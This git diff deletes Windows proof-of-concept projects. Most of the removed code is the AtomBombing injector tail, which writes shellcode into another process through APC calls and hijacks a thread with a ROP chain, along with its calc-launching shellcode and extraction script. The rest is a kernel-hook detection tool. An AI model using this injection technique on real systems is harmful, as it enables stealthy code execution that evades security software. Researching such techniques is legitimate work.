- pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);
- pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;
-
- printf("[*] Building ROP chain.\n\n\n");
- eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- printf("[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\n\n\n");
- eReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- *(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);
-
- printf("[*] Copying the shellcode to the target process's address space.\n\n\n");
- eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
-
- printf("[*] Copying ROP chain to the target process's address space: 0x%X.\n\n\n", pvRemoteROPChainAddress);
- eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");
- tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
- tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
-
- printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");
- eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
-lblCleanup:
- if (NULL != hProcess)
- {
- CloseHandle(hProcess);
- hProcess = NULL;
- }
- if (NULL != hAlertableThread)
- {
- CloseHandle(hAlertableThread);
- hAlertableThread = NULL;
- }
- return 0;
-}
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj
deleted file mode 100644
index bff551d6..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj
+++ /dev/null
@@ -1,61 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
-
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133}
- Win32Proj
- AtomBombingShellcode
-
-
-
- Application
- false
- v120
- true
- Unicode
-
-
-
-
-
-
-
-
-
- false
-
-
-
- Level3
-
-
- Disabled
- true
- true
- WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
- false
-
-
- Console
- true
- true
- true
-
-
-
-
- c:\python27\python.exe "$(SolutionDir)\$(ProjectName)\Scripts\Post_Link.py" "$(SolutionDir)$(Configuration)\$(ProjectName).exe"
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters
deleted file mode 100644
index 6827613a..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hh;hpp;hxx;hm;inl;inc;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
- Source Files
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py
deleted file mode 100644
index c12bb13b..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/Scripts/Post_Link.py
+++ /dev/null
@@ -1,31 +0,0 @@
-import pefile
-import sys
-import os
-
-DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3"
-
-def main():
- exe_path = sys.argv[1]
- pe = pefile.PE(exe_path)
- print "Starting!"
- output = ""
- text_section = ""
- for section in pe.sections:
- if ".text" in section.Name:
- print (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData )
- text_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData)
- binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]
- for byte in binary_shellcode:
- output += "\\x%x" % ord(byte)
- output = "#define SHELLCODE (\"%s\")" % output
- folder, file_name = os.path.split(exe_path)
- base, _ = os.path.splitext(file_name)
- print os.path.join(folder, base+".h")
- open(os.path.join(folder, base) + ".h", "wb").write(output)
- open(os.path.join(folder, base) + ".text", "wb").write(text_section)
- open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode)
-
-
-
-if __name__ == "__main__":
- main()
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c
deleted file mode 100644
index 75ab40c8..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombingShellcode/main.c
+++ /dev/null
@@ -1,95 +0,0 @@
-typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);
-typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);
-typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);
-typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);
-
-typedef struct _FUNCTIONPOINTERS
-{
- pfnLoadLibraryA pfnLoadLibraryA;
- pfnGetProcAddress pfnGetProcAddress;
-} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
-
-FUNCTIONPOINTERS g_FunctionPointers;
-
-void shellcode_entry();
-
-__declspec(naked) void fix_esp()
-{
- __asm{
- mov eax, edi;
- add ax, 0xc4;
- mov esp, [eax];
- sub sp, 0x1024;
- // This is needed for alignment purposes
- nop;
- nop;
- nop;
- }
-
-}
-
-void shellcode_entry()
-{
- PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;
- pfnWinExec pfnWinExec;
- pfnZwContinue pfnZwContinue;
- void * ptContext;
- void * hKernel32;
- void * hNtDll;
- char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
- char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
- char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'};
- char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };
- char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };
-
- __asm{
- mov[ptContext], edi;
- }
-
- hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);
- if (0 == hKernel32)
- {
- goto lblCleanup;
- }
-
- hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);
- if (0 == hNtDll)
- {
- goto lblCleanup;
- }
-
- pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);
- if (0 == pfnZwContinue)
- {
- goto lblCleanup;
- }
-
- pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec);
- if (0 == pfnWinExec)
- {
- goto lblCleanup;
- }
-
- pfnWinExec(pszCalcExe, 0);
-
- pfnZwContinue(ptContext, 1);
-
-lblCleanup:
- return;
-}
-
-void dummy()
-{
- int dummy = 0xDEADBABE;
-}
-
-#include
-
-int main()
-{
- g_FunctionPointers.pfnGetProcAddress = GetProcAddress;
- g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;
- fix_esp();
- shellcode_entry();
- dummy();
-}
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/README.md b/Win32/Proof of Concepts/AtomBombingInjection/README.md
deleted file mode 100644
index 77b35d67..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/README.md
+++ /dev/null
@@ -1,2 +0,0 @@
-# atom-bombing
-Here’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration.
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln
deleted file mode 100644
index 3abf5195..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 11.00
-# Visual Studio 2010
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CheckKernelHook", "CheckKernelHook\CheckKernelHook.vcxproj", "{D49C7CB9-A5C2-4377-A234-7C440407A30E}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.ActiveCfg = Debug|Win32
- {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Debug|Win32.Build.0 = Debug|Win32
- {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.ActiveCfg = Release|Win32
- {D49C7CB9-A5C2-4377-A234-7C440407A30E}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp
deleted file mode 100644
index 00009fc8..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.cpp
+++ /dev/null
@@ -1,114 +0,0 @@
-#include "AddService.h"
-#include "stdafx.h"
-#include "CheckKernelHookDlg.h"
-#include
-#pragma once
-
-
-BOOL Release(){
- // HRSRC res = FindResource(NULL,MAKEINTRESOURCE(IDR_SYS),TEXT("BINARY"));
- // if(!res)
- // return FALSE;
- // HGLOBAL resGlobal = LoadResource(NULL,res);
- // if(!resGlobal)
- // return FALSE;
- // DWORD size=SizeofResource(NULL,res);
- // BYTE* ptr=(BYTE*)LockResource(resGlobal);
- // if(!ptr)
- // return FALSE;
- HANDLE hFile=CreateFile(TEXT("ReloadKernel.sys"), GENERIC_WRITE,
- 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if(hFile==INVALID_HANDLE_VALUE)
- return FALSE;
- DWORD dw;
- // if(!WriteFile(hFile,ptr,size,&dw,NULL)){
- // CloseHandle(hFile);
- // return FALSE;
- // }
- CloseHandle(hFile);
- return TRUE;
-}
-
-
-
-
-BOOL UnloadDrv(TCHAR* DriverName){
- SC_HANDLE hSCManager;
- SC_HANDLE hService;
- SERVICE_STATUS ss;
-
-
- hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (!hSCManager){
- return FALSE;
- }
-
-
- hService = OpenService( hSCManager,DriverName,SERVICE_ALL_ACCESS);
- if( !hService ) {
- CloseServiceHandle(hSCManager);
- return FALSE;
- }
-
- ControlService(hService, SERVICE_CONTROL_STOP, &ss);
- DeleteService(hService);
- CloseServiceHandle(hService);
- CloseServiceHandle(hSCManager);
- return TRUE;
-}
-
-
-
-BOOL LoadDrv(TCHAR* DriverName){
- TCHAR DrvFullPathName[MAX_PATH];
- SC_HANDLE schSCManager;
- SC_HANDLE schService;
- UnloadDrv(L"CheckKernelHook");
- // if(!Release())
- // return FALSE;
- GetFullPathName(TEXT("CheckKernelHook.sys"), MAX_PATH, DrvFullPathName, NULL);
- schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (!schSCManager)
- return FALSE;
-
-
- schService = CreateService(
- schSCManager,DriverName,DriverName,
- SERVICE_ALL_ACCESS,
- SERVICE_KERNEL_DRIVER,
- SERVICE_DEMAND_START,
- SERVICE_ERROR_NORMAL,
- DrvFullPathName,
- NULL,NULL,NULL,NULL,NULL
- );
-
-
- if (!schService){
- if (GetLastError() == ERROR_SERVICE_EXISTS){
- schService = OpenService(schSCManager,DriverName,SERVICE_ALL_ACCESS);
- if (!schService){
- CloseServiceHandle(schSCManager);
- return FALSE;
- }
- }else{
- CloseServiceHandle(schSCManager);
- return FALSE;
- }
- }
-
-
- if (!StartService(schService,0,NULL)){
- if ( !(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING ) ){
- CloseServiceHandle(schService);
- CloseServiceHandle(schSCManager);
- return FALSE;
- }
- }
-
-
- CloseServiceHandle(schService);
- CloseServiceHandle(schSCManager);
- return TRUE;
-}
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h
deleted file mode 100644
index 2825da08..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/AddService.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#include "stdafx.h"
-
-BOOL Release();
-BOOL UnloadDrv(TCHAR* DriverName);
-BOOL LoadDrv(TCHAR* DriverName);
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps
deleted file mode 100644
index 22878487..00000000
Binary files a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.aps and /dev/null differ
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp
deleted file mode 100644
index 93c3fbf1..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.cpp
+++ /dev/null
@@ -1,94 +0,0 @@
-
-// CheckKernelHook.cpp : ӦóΪ
-//
-
-#include "stdafx.h"
-#include "CheckKernelHook.h"
-#include "CheckKernelHookDlg.h"
-
-#ifdef _DEBUG
-#define new DEBUG_NEW
-#endif
-
-
-// CCheckKernelHookApp
-
-BEGIN_MESSAGE_MAP(CCheckKernelHookApp, CWinApp)
- ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
-END_MESSAGE_MAP()
-
-
-// CCheckKernelHookApp
-
-CCheckKernelHookApp::CCheckKernelHookApp()
-{
- // ֧
- m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART;
-
- // TODO: ڴ˴ӹ룬
- // Ҫijʼ InitInstance
-}
-
-
-// Ψһһ CCheckKernelHookApp
-
-CCheckKernelHookApp theApp;
-
-
-// CCheckKernelHookApp ʼ
-
-BOOL CCheckKernelHookApp::InitInstance()
-{
- // һ Windows XP ϵӦó嵥ָҪ
- // ʹ ComCtl32.dll 汾 6 ߰汾ÿӻʽ
- //Ҫ InitCommonControlsEx()ڡ
- INITCOMMONCONTROLSEX InitCtrls;
- InitCtrls.dwSize = sizeof(InitCtrls);
- // ΪҪӦóʹõ
- // ؼࡣ
- InitCtrls.dwICC = ICC_WIN95_CLASSES;
- InitCommonControlsEx(&InitCtrls);
-
- CWinApp::InitInstance();
-
-
- AfxEnableControlContainer();
-
- // shell ԷԻ
- // κ shell ͼؼ shell бͼؼ
- CShellManager *pShellManager = new CShellManager;
-
- // ʼ
- // δʹЩܲϣС
- // տִļĴСӦƳ
- // Ҫضʼ
- // ڴ洢õע
- // TODO: Ӧʵĸַ
- // Ϊ˾֯
- SetRegistryKey(_T("ӦóɵıӦó"));
-
- CCheckKernelHookDlg dlg;
- m_pMainWnd = &dlg;
- INT_PTR nResponse = dlg.DoModal();
- if (nResponse == IDOK)
- {
- // TODO: ڴ˷ôʱ
- // ȷرնԻĴ
- }
- else if (nResponse == IDCANCEL)
- {
- // TODO: ڴ˷ôʱ
- // ȡرնԻĴ
- }
-
- // ɾ洴 shell
- if (pShellManager != NULL)
- {
- delete pShellManager;
- }
-
- // ڶԻѹرգԽ FALSE Ա˳Ӧó
- // ӦóϢá
- return FALSE;
-}
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h
deleted file mode 100644
index adcc8ca2..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.h
+++ /dev/null
@@ -1,32 +0,0 @@
-
-// CheckKernelHook.h : PROJECT_NAME Ӧóͷļ
-//
-
-#pragma once
-
-#ifndef __AFXWIN_H__
- #error "ڰļ֮ǰstdafx.h PCH ļ"
-#endif
-
-#include "resource.h" //
-
-
-// CCheckKernelHookApp:
-// йشʵ֣ CheckKernelHook.cpp
-//
-
-class CCheckKernelHookApp : public CWinApp
-{
-public:
- CCheckKernelHookApp();
-
-// д
-public:
- virtual BOOL InitInstance();
-
-// ʵ
-
- DECLARE_MESSAGE_MAP()
-};
-
-extern CCheckKernelHookApp theApp;
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc
deleted file mode 100644
index b8a1ec87..00000000
Binary files a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.rc and /dev/null differ
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj
deleted file mode 100644
index 58404b4b..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj
+++ /dev/null
@@ -1,129 +0,0 @@
-
-
-
-
- Debug
- Win32
-
-
- Release
- Win32
-
-
-
- {D49C7CB9-A5C2-4377-A234-7C440407A30E}
- CheckKernelHook
- MFCProj
-
-
-
- Application
- true
- Unicode
- Dynamic
-
-
- Application
- false
- true
- Unicode
- Dynamic
-
-
-
-
-
-
-
-
-
-
-
-
- true
-
-
- false
-
-
-
- Use
- Level3
- Disabled
- WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)
-
-
- Windows
- true
-
-
- false
- true
- _DEBUG;%(PreprocessorDefinitions)
-
-
- 0x0804
- _DEBUG;%(PreprocessorDefinitions)
- $(IntDir);%(AdditionalIncludeDirectories)
-
-
-
-
- Level3
- Use
- MaxSpeed
- true
- true
- WIN32;_WINDOWS;NDEBUG;%(PreprocessorDefinitions)
-
-
- Windows
- true
- true
- true
-
-
- false
- true
- NDEBUG;%(PreprocessorDefinitions)
-
-
- 0x0804
- NDEBUG;%(PreprocessorDefinitions)
- $(IntDir);%(AdditionalIncludeDirectories)
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- Create
- Create
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters
deleted file mode 100644
index 70a6bfaa..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHook.vcxproj.filters
+++ /dev/null
@@ -1,65 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hpp;hxx;hm;inl;inc;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
-
- 资源文件
-
-
- 资源文件
-
-
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
- 头文件
-
-
- 源文件
-
-
-
-
- 源文件
-
-
- 源文件
-
-
- 源文件
-
-
- 源文件
-
-
-
-
- 资源文件
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp
deleted file mode 100644
index 8a2bf7e8..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHook/CheckKernelHook/CheckKernelHookDlg.cpp
+++ /dev/null
@@ -1,283 +0,0 @@
-
-// CheckKernelHookDlg.cpp : ʵļ
-//
-
-#include "stdafx.h"
-#include "CheckKernelHook.h"
-#include "CheckKernelHookDlg.h"
-#include "afxdialogex.h"
-#include "AddService.h"
-#ifdef _DEBUG
-#define new DEBUG_NEW
-#endif
-
-
-HANDLE g_hDevice = NULL;
-
-typedef struct
-{
- WCHAR* szTitle; //б
- int nWidth; //бĿ
-
-}COLUMNSTRUCT;
-COLUMNSTRUCT g_Column_Data_Online[] =
-{
- {L"ԭʼַ", 148 },
- {L"", 150 },
- {L"Hookַ", 160 },
- {L"ģ", 300 },
- {L"ģַ", 80 },
- {L"ģС", 81 },
- {L"", 81 }
-};
-
-int g_Column_Count_Online = 7; //бĸ
-int g_Column_Online_Width = 0;
-
-
-// Ӧóڡ˵ CAboutDlg Ի
-
-class CAboutDlg : public CDialogEx
-{
-public:
- CAboutDlg();
-
-// Ի
- enum { IDD = IDD_ABOUTBOX };
-
- protected:
- virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧
-
-// ʵ
-protected:
- DECLARE_MESSAGE_MAP()
-};
-
-CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
-{
-}
-
-void CAboutDlg::DoDataExchange(CDataExchange* pDX)
-{
- CDialogEx::DoDataExchange(pDX);
-}
-
-BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
-END_MESSAGE_MAP()
-
-
-// CCheckKernelHookDlg Ի
-
-
-
-
-CCheckKernelHookDlg::CCheckKernelHookDlg(CWnd* pParent /*=NULL*/)
- : CDialogEx(CCheckKernelHookDlg::IDD, pParent)
-{
- m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
-}
-
-void CCheckKernelHookDlg::DoDataExchange(CDataExchange* pDX)
-{
- CDialogEx::DoDataExchange(pDX);
- DDX_Control(pDX, IDC_LIST, m_List);
-}
-
-BEGIN_MESSAGE_MAP(CCheckKernelHookDlg, CDialogEx)
- ON_WM_SYSCOMMAND()
- ON_WM_PAINT()
- ON_WM_QUERYDRAGICON()
-END_MESSAGE_MAP()
-
-
-// CCheckKernelHookDlg Ϣ
-
-BOOL CCheckKernelHookDlg::OnInitDialog()
-{
- CDialogEx::OnInitDialog();
-
- // ...˵ӵϵͳ˵С
-
- // IDM_ABOUTBOX ϵͳΧڡ
- ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
- ASSERT(IDM_ABOUTBOX < 0xF000);
-
- CMenu* pSysMenu = GetSystemMenu(FALSE);
- if (pSysMenu != NULL)
- {
- BOOL bNameValid;
- CString strAboutMenu;
- bNameValid = strAboutMenu.LoadString(IDS_ABOUTBOX);
- ASSERT(bNameValid);
- if (!strAboutMenu.IsEmpty())
- {
- pSysMenu->AppendMenu(MF_SEPARATOR);
- pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
- }
- }
-
- // ô˶ԻͼꡣӦóڲǶԻʱܽԶ
- // ִд˲
- SetIcon(m_hIcon, TRUE); // ôͼ
- SetIcon(m_hIcon, FALSE); // Сͼ
-
- m_List.SetExtendedStyle(LVS_EX_FULLROWSELECT);
- for (int i = 0; i < g_Column_Count_Online; i++)
- {
- m_List.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth);
-
- g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
- }
-
-
- //LoadDrv(L"CheckKernelHook");
-
- g_hDevice = OpenDevice(L"\\\\.\\CheckKernelHookLinkName");
- if (g_hDevice==(HANDLE)-1)
- {
- MessageBox(L"豸ʧ");
- return TRUE;
- }
-
-
-
-
- CheckKernelHook();
-
- return TRUE; // ǽõؼ TRUE
-}
-
-VOID CCheckKernelHookDlg::CheckKernelHook()
-{
- ULONG_PTR ulCount = 0x1000;
- PINLINEHOOKINFO PInlineHookInfo = NULL;
- BOOL bRet = FALSE;
- DWORD ulReturnSize = 0;
- do
- {
- ULONG_PTR ulSize = 0;
- if (PInlineHookInfo)
- {
- free(PInlineHookInfo);
- PInlineHookInfo = NULL;
- }
- ulSize = sizeof(INLINEHOOKINFO) + ulCount * sizeof(INLINEHOOKINFO_INFORMATION);
- PInlineHookInfo = (PINLINEHOOKINFO)malloc(ulSize);
- if (!PInlineHookInfo)
- {
- break;
- }
- memset(PInlineHookInfo,0,ulSize);
- bRet = DeviceIoControl(g_hDevice,CTL_CHECKKERNELMODULE,
- NULL,
- 0,
- PInlineHookInfo,
- ulSize,
- &ulReturnSize,
- NULL);
- ulCount = PInlineHookInfo->ulCount + 1000;
- } while (bRet == FALSE && GetLastError() == ERROR_INSUFFICIENT_BUFFER);
-
- if(PInlineHookInfo->ulCount==0)
- {
- MessageBox(L"ǰں˰ȫ",L"");
- }
- else
- {
- InsertDataToList(PInlineHookInfo);
- }
- if (PInlineHookInfo)
- {
- free(PInlineHookInfo);
- PInlineHookInfo = NULL;
- }
-
-
-}
-
-VOID CCheckKernelHookDlg::InsertDataToList(PINLINEHOOKINFO PInlineHookInfo)
-{
- CString OrgAddress,CurAddress,ModuleBase,ModuleSize;
- for(int i=0;iulCount;i++)
- {
- OrgAddress.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulMemoryFunctionBase);
- CurAddress.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulMemoryHookBase);
- ModuleBase.Format(L"0x%p",PInlineHookInfo->InlineHook[i].ulHookModuleBase);
- ModuleSize.Format(L"%d",PInlineHookInfo->InlineHook[i].ulHookModuleSize);
- int n = m_List.InsertItem(m_List.GetItemCount(),OrgAddress,0); //עi Icon λ
- CString szFunc=L"";
- CString ModuleName = L"";
- szFunc +=PInlineHookInfo->InlineHook[i].lpszFunction;
- ModuleName += PInlineHookInfo->InlineHook[i].lpszHookModuleImage;
- m_List.SetItemText(n,1,szFunc);
- m_List.SetItemText(n,2,CurAddress);
- m_List.SetItemText(n,3,ModuleName);
- m_List.SetItemText(n,4,ModuleBase);
- m_List.SetItemText(n,5,ModuleSize);
- CString Type= L"";
- if(PInlineHookInfo->InlineHook[i].ulHookType==1)
- {
- Type +=L"SSDT Hook";
- }
- else if(PInlineHookInfo->InlineHook[i].ulHookType==2)
- {
- Type +=L"Next Call Hook";
- }
- else if(PInlineHookInfo->InlineHook[i].ulHookType==0)
- {
- Type +=L"Inline Hook";
- }
- m_List.SetItemText(n,6,Type);
-
- }
- UpdateData(TRUE);
-}
-void CCheckKernelHookDlg::OnSysCommand(UINT nID, LPARAM lParam)
-{
- if ((nID & 0xFFF0) == IDM_ABOUTBOX)
- {
- CAboutDlg dlgAbout;
- dlgAbout.DoModal();
- }
- else
- {
- CDialogEx::OnSysCommand(nID, lParam);
- }
-}
-
-// ԻСťҪĴ
-// Ƹͼꡣʹĵ/ͼģ͵ MFC Ӧó
-// ⽫ɿԶɡ
-
-void CCheckKernelHookDlg::OnPaint()
-{
- if (IsIconic())
- {
- CPaintDC dc(this); // ڻƵ豸
-
- SendMessage(WM_ICONERASEBKGND, reinterpret_cast(dc.GetSafeHdc()), 0);
-
- // ʹͼڹо
- int cxIcon = GetSystemMetrics(SM_CXICON);
